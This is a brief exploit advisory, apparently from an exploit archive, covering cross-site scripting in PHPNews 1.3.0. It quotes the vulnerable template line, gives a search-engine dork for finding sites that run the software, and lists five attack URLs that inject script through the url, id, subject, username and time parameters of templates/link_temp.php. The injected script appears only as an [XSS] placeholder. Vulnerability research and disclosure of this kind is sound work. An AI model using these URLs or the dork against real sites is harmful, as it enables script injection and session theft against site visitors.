|
PHP Script: PHPNews 1.3.0
Class: XSS
Website: http://newsphp.sourceforge.net
Found by: Detefix
dork: inurl:phpnews
-----
- Vulnerable Code:
$subject by $username on $time
-----
- Exploits:
[XSS">http://[target]/[path-to-PHPNews]/templates/link_temp.php?url=">[XSS]
[XSS">http://[target]/[path-to-PHPNews]/templates/link_temp.php?id=">[XSS]
http://[target]/[path-to-PHPNews]/templates/link_temp.php?subject=[XSS]
http://[target]/[path-to-PHPNews]/templates/link_temp.php?username=[XSS]
http://[target]/[path-to-PHPNews]/templates/link_temp.php?time=[XSS]